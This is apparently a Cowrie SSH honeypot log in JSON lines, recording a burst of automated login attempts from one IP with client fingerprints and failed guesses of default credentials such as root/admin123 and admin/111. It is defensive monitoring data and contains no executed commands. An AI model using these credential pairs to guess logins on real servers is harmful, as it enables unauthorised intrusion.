cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:31.292747Z","src_ip":"192.109.200.237","session":"906e138acbce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:31.706410Z","src_ip":"192.109.200.237","session":"906e138acbce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:32.792338Z","src_ip":"192.109.200.237","session":"906e138acbce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43382,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f7ffcfc8a8e","protocol":"ssh","message":"New connection: 192.109.200.237:43382 (159.203.135.109:22) [session: 4f7ffcfc8a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:34.461322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:34.520980Z","src_ip":"192.109.200.237","session":"4f7ffcfc8a8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:34.553175Z","src_ip":"192.109.200.237","session":"4f7ffcfc8a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:34.864937Z","src_ip":"192.109.200.237","session":"4f7ffcfc8a8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:35.954678Z","src_ip":"192.109.200.237","session":"4f7ffcfc8a8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43388,"dst_ip":"159.203.135.109","dst_port":22,"session":"a18550cf1990","protocol":"ssh","message":"New connection: 192.109.200.237:43388 (159.203.135.109:22) [session: a18550cf1990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:37.687634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:37.694741Z","src_ip":"192.109.200.237","session":"a18550cf1990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:37.777256Z","src_ip":"192.109.200.237","session":"a18550cf1990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:38.023771Z","src_ip":"192.109.200.237","session":"a18550cf1990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:39.109166Z","src_ip":"192.109.200.237","session":"a18550cf1990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57858,"dst_ip":"159.203.135.109","dst_port":22,"session":"72c18023e68b","protocol":"ssh","message":"New connection: 192.109.200.237:57858 (159.203.135.109:22) [session: 72c18023e68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:40.888586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:40.893308Z","src_ip":"192.109.200.237","session":"72c18023e68b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:40.975357Z","src_ip":"192.109.200.237","session":"72c18023e68b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:41.222093Z","src_ip":"192.109.200.237","session":"72c18023e68b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:42.306883Z","src_ip":"192.109.200.237","session":"72c18023e68b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57876,"dst_ip":"159.203.135.109","dst_port":22,"session":"32957fcf9095","protocol":"ssh","message":"New connection: 192.109.200.237:57876 (159.203.135.109:22) [session: 32957fcf9095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:44.014143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:44.018763Z","src_ip":"192.109.200.237","session":"32957fcf9095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:44.103964Z","src_ip":"192.109.200.237","session":"32957fcf9095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:44.349260Z","src_ip":"192.109.200.237","session":"32957fcf9095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:45.561622Z","src_ip":"192.109.200.237","session":"32957fcf9095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57906,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e3bf7d82f41","protocol":"ssh","message":"New connection: 192.109.200.237:57906 (159.203.135.109:22) [session: 6e3bf7d82f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:47.230536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:47.234875Z","src_ip":"192.109.200.237","session":"6e3bf7d82f41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:47.318477Z","src_ip":"192.109.200.237","session":"6e3bf7d82f41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:47.569321Z","src_ip":"192.109.200.237","session":"6e3bf7d82f41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:48.673022Z","src_ip":"192.109.200.237","session":"6e3bf7d82f41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42514,"dst_ip":"159.203.135.109","dst_port":22,"session":"a511d972fcaa","protocol":"ssh","message":"New connection: 192.109.200.237:42514 (159.203.135.109:22) [session: a511d972fcaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:50.388852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:50.397366Z","src_ip":"192.109.200.237","session":"a511d972fcaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:50.481558Z","src_ip":"192.109.200.237","session":"a511d972fcaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:50.878263Z","src_ip":"192.109.200.237","session":"a511d972fcaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:51.964978Z","src_ip":"192.109.200.237","session":"a511d972fcaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42530,"dst_ip":"159.203.135.109","dst_port":22,"session":"251b93bb7755","protocol":"ssh","message":"New connection: 192.109.200.237:42530 (159.203.135.109:22) [session: 251b93bb7755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:53.754251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:53.784378Z","src_ip":"192.109.200.237","session":"251b93bb7755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:53.837132Z","src_ip":"192.109.200.237","session":"251b93bb7755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:54.154909Z","src_ip":"192.109.200.237","session":"251b93bb7755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:55.244504Z","src_ip":"192.109.200.237","session":"251b93bb7755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42542,"dst_ip":"159.203.135.109","dst_port":22,"session":"6537f6fe872e","protocol":"ssh","message":"New connection: 192.109.200.237:42542 (159.203.135.109:22) [session: 6537f6fe872e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:57.021380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:57.031626Z","src_ip":"192.109.200.237","session":"6537f6fe872e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:57.115131Z","src_ip":"192.109.200.237","session":"6537f6fe872e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:57.363612Z","src_ip":"192.109.200.237","session":"6537f6fe872e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:58.448471Z","src_ip":"192.109.200.237","session":"6537f6fe872e","protocol":"ssh"}
